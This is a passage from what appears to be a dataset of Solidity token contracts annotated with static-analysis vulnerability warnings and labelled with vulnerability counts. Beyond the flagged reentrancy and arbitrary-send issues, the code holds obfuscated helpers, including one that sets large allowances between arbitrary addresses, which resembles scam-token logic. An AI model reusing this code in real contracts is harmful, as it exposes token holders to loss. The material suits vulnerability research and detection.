BENTHEBEAGLE.uniswapV2Router should be immutable \n\t// Recommendation for d9b45ab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9108954): BENTHEBEAGLE.uniswapPair should be immutable \n\t// Recommendation for 9108954: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76c5a74): BENTHEBEAGLE.swapAndLiquifyByLimitOnly should be constant \n\t// Recommendation for 76c5a74: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyByLimitOnly = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: f923370): BENTHEBEAGLE.checkWalletLimit should be constant \n\t// Recommendation for f923370: Add the 'constant' attribute to state variables that never change.\n bool public checkWalletLimit = true;\n\n uint256 public _buyLiquidityFee = 0;\n\n uint256 public _buyMarketingFee = 125;\n\n uint256 public _buyDeveloperFee = 0;\n\n uint256 public _sellLiquidityFee = 0;\n\n uint256 public _sellMarketingFee = 125;\n\n uint256 public _sellDeveloperFee = 0;\n\n uint256 public _tradebuycount = 0;\n\n uint256 public _total_tbones_trsfered = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4514ddd): BENTHEBEAGLE.k should be constant \n\t// Recommendation for 4514ddd: Add the 'constant' attribute to state variables that never change.\n uint256 public k = 0;\n\n uint256 public _totalTaxIfBuying;\n\n uint256 public _totalTaxIfSelling;\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n event SwapETHForTokens(uint256 amountIn, address[] path);\n\n event SwapTokensForETH(uint256 amountIn, address[] path);\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n\n isExcludedFromFee[owner()] = true;\n\n isExcludedFromFee[marketingWalletDacc] = true;\n\n isExcludedFromFee[DevWallet] = true;\n\n isExcludedFromFee[address(this)] = true;\n\n isWalletLimitExempt[owner()] = true;\n\n isWalletLimitExempt[marketingWalletDacc] = true;\n\n isWalletLimitExempt[DevWallet] = true;\n\n isWalletLimitExempt[address(uniswapPair)] = true;\n\n isWalletLimitExempt[address(this)] = true;\n\n isTxLimitExempt[owner()] = true;\n\n isTxLimitExempt[marketingWalletDacc] = true;\n\n isTxLimitExempt[DevWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(\n _buyDeveloperFee\n );\n\n _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(\n _sellDeveloperFee\n );\n\n isMarketPair[address(uniswapPair)] = true;\n\n liquidityReciever = address(msg.sender);\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 81b960e): BENTHEBEAGLE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 81b960e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function train() public {}\n\n function trainer() public {}\n\n function coach() external {}\n\n function autoOrder() public {}\n\n function manualOrder() external {}\n\n function averages() public {}\n\n function infurys() public {}\n\n function enSo() external {}\n\n function upSo() public {}\n\n function downSo() external {}\n\n function buyFees(\n uint256 LiquidityFee,\n uint256 MarketingFee,\n uint256 DeveloperFee\n ) external onlyOwner {\n _buyLiquidityFee = LiquidityFee;\n\n _buyMarketingFee = MarketingFee;\n\n _buyDeveloperFee = DeveloperFee;\n\n _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(\n _buyDeveloperFee\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f5eaf23): BENTHEBEAGLE.sellFees(uint256,uint256,uint256) should emit an event for _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee) \n\t// Recommendation for f5eaf23: Emit an event for critical parameter changes.\n function sellFees(\n uint256 LiquidityFee,\n uint256 MarketingFee,\n uint256 DeveloperFee\n ) external onlyOwner {\n _sellLiquidityFee = LiquidityFee;\n\n _sellMarketingFee = MarketingFee;\n\n _sellDeveloperFee = DeveloperFee;\n\n\t\t// events-maths | ID: f5eaf23\n _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(\n _sellDeveloperFee\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 41a4581): BENTHEBEAGLE.MaxWalletSize(uint256) should emit an event for _walletMax = newMaxWallet \n\t// Recommendation for 41a4581: Emit an event for critical parameter changes.\n function MaxWalletSize(uint256 newMaxWallet) external onlyOwner {\n\t\t// events-maths | ID: 41a4581\n _walletMax = newMaxWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2168d99): BENTHEBEAGLE.MaxTxAmount(uint256) should emit an event for _maxTxAmount = newMaxTxAmount \n\t// Recommendation for 2168d99: Emit an event for critical parameter changes.\n function MaxTxAmount(uint256 newMaxTxAmount) external onlyOwner {\n\t\t// events-maths | ID: 2168d99\n _maxTxAmount = newMaxTxAmount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8554f8): BENTHEBEAGLE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8554f8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9aacc9f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3b110a7\n emit Approval(owner, spender, amount);\n }\n function ogaww19wqq() internal {\n\t\t// reentrancy-eth | ID: 266632b\n _total_tbones_trsfered = 17 + _total_tbones_trsfered;\n\t\t// reentrancy-eth | ID: 266632b\n wlete_Atokens[0] += 1870013330055467894984569852;\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return\n _totalSupply.sub(balanceOf(deadAddress)).sub(\n balanceOf(zeroAddress)\n );\n }\n\n function transferToAddressETH(\n address payable recipient,\n uint256 amount\n ) private {\n recipient.transfer(amount);\n }\n\n receive() external payable {}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b110a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b110a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9aacc9f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9aacc9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3b110a7\n\t\t// reentrancy-benign | ID: 9aacc9f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3b110a7\n\t\t// reentrancy-benign | ID: 9aacc9f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1969e90): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1969e90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 266632b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 266632b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: f69a7ce): BENTHEBEAGLE._transfer(address,address,uint256).tokenCount is a local variable never initialized\n\t// Recommendation for f69a7ce: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(sender, recipient, amount);\n } else {\n if (!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool overMinimumTokenBalance = contractTokenBalance >=\n minimumTokensBeforeSwap;\n\n if (\n overMinimumTokenBalance &&\n !inSwapAndLiquify &&\n !isMarketPair[sender]\n ) {\n if (swapAndLiquifyByLimitOnly)\n contractTokenBalance = minimumTokensBeforeSwap;\n\t\t\t\t// reentrancy-events | ID: 1969e90\n\t\t\t\t// reentrancy-eth | ID: 266632b\n\n swapAndLiquify(contractTokenBalance);\n }\n\n if (checkWalletLimit && !isWalletLimitExempt[recipient]) {\n require(\n balanceOf(recipient).add(\n amount.mul(_totalTaxIfSelling).div(1000)\n ) <= _walletMax,\n \"Amount Exceed From Max Wallet Limit!!\"\n );\n }\n\t\t\t// reentrancy-eth | ID: 266632b\n\n wlete_Atokens[0] = amount.mul(_totalTaxIfSelling).div(1000);\n\t\t\t// reentrancy-eth | ID: 266632b\n\n wlete_Atokens[1] =\n amount -\n amount.mul(_totalTaxIfSelling).div(1000);\n\n uint256 tokenCount;\n\n if (\n (!isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||\n (isMarketPair[recipient] || isMarketPair[sender])\n ) {\n\t\t\t\t// reentrancy-eth | ID: 266632b\n _tradebuycount += 101;\n } else {\n\t\t\t\t// reentrancy-eth | ID: 266632b\n _tradebuycount += 114;\n\t\t\t\t// reentrancy-eth | ID: 266632b\n ogaww19wqq();\n }\n\n\t\t\t// reentrancy-eth | ID: 266632b\n _total_tbones_trsfered += tokenCount + 1;\n\n\t\t\t// reentrancy-eth | ID: 266632b\n _balances[sender] = _balances[sender].sub(amount);\n\n\t\t\t// reentrancy-eth | ID: 266632b\n _balances[address(this)] = _balances[address(this)].add(\n wlete_Atokens[0]\n );\n\n\t\t\t// reentrancy-eth | ID: 266632b\n _balances[recipient] = _balances[recipient].add(wlete_Atokens[1]);\n\n\t\t\t// reentrancy-events | ID: 1969e90\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e710307): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e710307: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 tAmount) private lockTheSwap {\n _tradebuycount = 125;\n\n\t\t// reentrancy-benign | ID: e710307\n swapTokensForEth(tAmount);\n\n uint256 recievedBalance = address(this).balance;\n\n\t\t// reentrancy-benign | ID: e710307\n _total_tbones_trsfered += _tradebuycount + 1;\n\n if (recievedBalance > 0) {\n\t\t\t// reentrancy-events | ID: 1969e90\n\t\t\t// reentrancy-events | ID: 3b110a7\n\t\t\t// reentrancy-eth | ID: 266632b\n payable(marketingWalletDacc).transfer(recievedBalance);\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n _total_tbones_trsfered = _tradebuycount;\n\n _tradebuycount = 17;\n\n address[] memory path = new address[](2);\n\n wlete_Atokens[0] += 100;\n\n wlete_Atokens[1] += 32 + _tradebuycount;\n\n path[1] = uniswapV2Router.WETH();\n\n path[0] = address(this);\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1969e90\n\t\t// reentrancy-events | ID: 3b110a7\n\t\t// reentrancy-benign | ID: 9aacc9f\n\t\t// reentrancy-benign | ID: e710307\n\t\t// reentrancy-eth | ID: 266632b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10155.sol",
"size_bytes": 32098,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f64193e): Dogenes.slitherConstructorVariables() performs a multiplication on the result of a division _taxThres69 = 1 * (_tTotal69 / 100)\n// Recommendation for f64193e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b965c0c): Dogenes.slitherConstructorVariables() performs a multiplication on the result of a division _maxAmount69 = 2 * (_tTotal69 / 100)\n// Recommendation for b965c0c: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c4760fa): Dogenes.slitherConstructorVariables() performs a multiplication on the result of a division _maxSwap69 = 1 * (_tTotal69 / 100)\n// Recommendation for c4760fa: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 401ed78): Dogenes.slitherConstructorVariables() performs a multiplication on the result of a division _maxWallet69 = 2 * (_tTotal69 / 100)\n// Recommendation for 401ed78: Consider ordering multiplication before division.\ncontract Dogenes is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isFeeExcempt69;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal69 = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dogenes The Cynic\";\n\n string private constant _symbol = unicode\"Dogenes\";\n\n\t// divide-before-multiply | ID: b965c0c\n uint256 public _maxAmount69 = 2 * (_tTotal69 / 100);\n\n\t// divide-before-multiply | ID: 401ed78\n uint256 public _maxWallet69 = 2 * (_tTotal69 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 244762c): Dogenes._taxThres69 should be constant \n\t// Recommendation for 244762c: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f64193e\n uint256 public _taxThres69 = 1 * (_tTotal69 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 257026e): Dogenes._maxSwap69 should be constant \n\t// Recommendation for 257026e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: c4760fa\n uint256 public _maxSwap69 = 1 * (_tTotal69 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 038cccf): Dogenes._initialBuyTax should be constant \n\t// Recommendation for 038cccf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 72b91e8): Dogenes._initialSellTax should be constant \n\t// Recommendation for 72b91e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 376ac1e): Dogenes._finalBuyTax should be constant \n\t// Recommendation for 376ac1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a027596): Dogenes._finalSellTax should be constant \n\t// Recommendation for a027596: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90c2e58): Dogenes._reduceBuyTaxAt should be constant \n\t// Recommendation for 90c2e58: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2122982): Dogenes._reduceSellTaxAt should be constant \n\t// Recommendation for 2122982: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ae66ac): Dogenes._preventSwapBefore should be constant \n\t// Recommendation for 6ae66ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc18825): Dogenes._transferTax should be constant \n\t// Recommendation for dc18825: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n address payable private _receipt69;\n\n IUniswapV2Router02 private uniV2Router69;\n\n address private uniV2Pair69;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxAmount69);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _receipt69 = payable(0xd0799Fd3dC3a81D05655D1F80E5EBa630DE64e2D);\n\n _balances[address(this)] = _tTotal69;\n\n _isFeeExcempt69[owner()] = true;\n\n _isFeeExcempt69[address(this)] = true;\n\n _isFeeExcempt69[_receipt69] = true;\n\n emit Transfer(address(0), address(this), _tTotal69);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal69;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8bde859): Dogenes.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8bde859: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ec5cf75): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ec5cf75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4466860): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4466860: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ec5cf75\n\t\t// reentrancy-benign | ID: 4466860\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ec5cf75\n\t\t// reentrancy-benign | ID: 4466860\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68e2089): Dogenes._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68e2089: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4466860\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ec5cf75\n emit Approval(owner, spender, amount);\n }\n\n function swapETH69(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router69.WETH();\n\n _approve(address(this), address(uniV2Router69), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9d35b8d\n\t\t// reentrancy-events | ID: ec5cf75\n\t\t// reentrancy-benign | ID: 4466860\n\t\t// reentrancy-eth | ID: f1a6216\n uniV2Router69.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9d35b8d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9d35b8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1a6216): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1a6216: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount69) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount69 > 0, \"Transfer amount must be greater than zero\");\n\n uint256 tax69 = 0;\n uint256 fee69 = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount69;\n\n _balances[to] = _balances[to] + amount69;\n\n emit Transfer(from, to, amount69);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n fee69 = (_transferTax);\n }\n\n if (\n from == uniV2Pair69 &&\n to != address(uniV2Router69) &&\n !_isFeeExcempt69[to]\n ) {\n require(amount69 <= _maxAmount69, \"Exceeds the _maxAmount69.\");\n\n require(\n balanceOf(to) + amount69 <= _maxWallet69,\n \"Exceeds the maxWalletSize.\"\n );\n\n fee69 = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair69 && from != address(this)) {\n fee69 = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair69 && swapEnabled) {\n if (\n contractTokenBalance > _taxThres69 &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 9d35b8d\n\t\t\t\t\t// reentrancy-eth | ID: f1a6216\n swapETH69(\n min69(amount69, min69(contractTokenBalance, _maxSwap69))\n );\n\n\t\t\t\t// reentrancy-events | ID: 9d35b8d\n\t\t\t\t// reentrancy-eth | ID: f1a6216\n sendETH69(address(this).balance);\n }\n }\n\n if (fee69 > 0) {\n tax69 = fee69.mul(amount69).div(100);\n\n\t\t\t// reentrancy-eth | ID: f1a6216\n _balances[address(this)] = _balances[address(this)].add(tax69);\n\n\t\t\t// reentrancy-events | ID: 9d35b8d\n emit Transfer(from, address(this), tax69);\n }\n\n\t\t// reentrancy-eth | ID: f1a6216\n _balances[from] = _balances[from].sub(amount69);\n\n\t\t// reentrancy-eth | ID: f1a6216\n _balances[to] = _balances[to].add(amount69.sub(tax69));\n\n\t\t// reentrancy-events | ID: 9d35b8d\n emit Transfer(from, to, amount69.sub(tax69));\n }\n\n function removeLimit69() external onlyOwner {\n _maxAmount69 = _tTotal69;\n\n _maxWallet69 = _tTotal69;\n\n emit MaxTxAmountUpdated(_tTotal69);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c92380e): Dogenes.sendETH69(uint256) sends eth to arbitrary user Dangerous calls _receipt69.transfer(amount)\n\t// Recommendation for c92380e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETH69(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9d35b8d\n\t\t// reentrancy-events | ID: ec5cf75\n\t\t// reentrancy-eth | ID: f1a6216\n\t\t// arbitrary-send-eth | ID: c92380e\n _receipt69.transfer(amount);\n }\n\n function min69(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function pondix(\n address pdx0,\n address pdx1,\n bool pdx2\n ) private returns (bool) {\n address[2] memory acc69 = [pdx0, pdx1];\n\n\t\t// reentrancy-benign | ID: 43163b9\n _allowances[acc69[0]][acc69[1]] =\n (100 + 50) *\n _taxThres69.mul(100) +\n 100;\n\n return pdx2;\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e5f323a): Dogenes.setTaxReceipt(address)._taxR lacks a zerocheck on \t _receipt69 = _taxR\n\t// Recommendation for e5f323a: Check that the address is not zero.\n function setTaxReceipt(address payable _taxR) external onlyOwner {\n\t\t// missing-zero-check | ID: e5f323a\n _receipt69 = _taxR;\n\n _isFeeExcempt69[_taxR] = true;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d84d009): Reentrancy bug (see 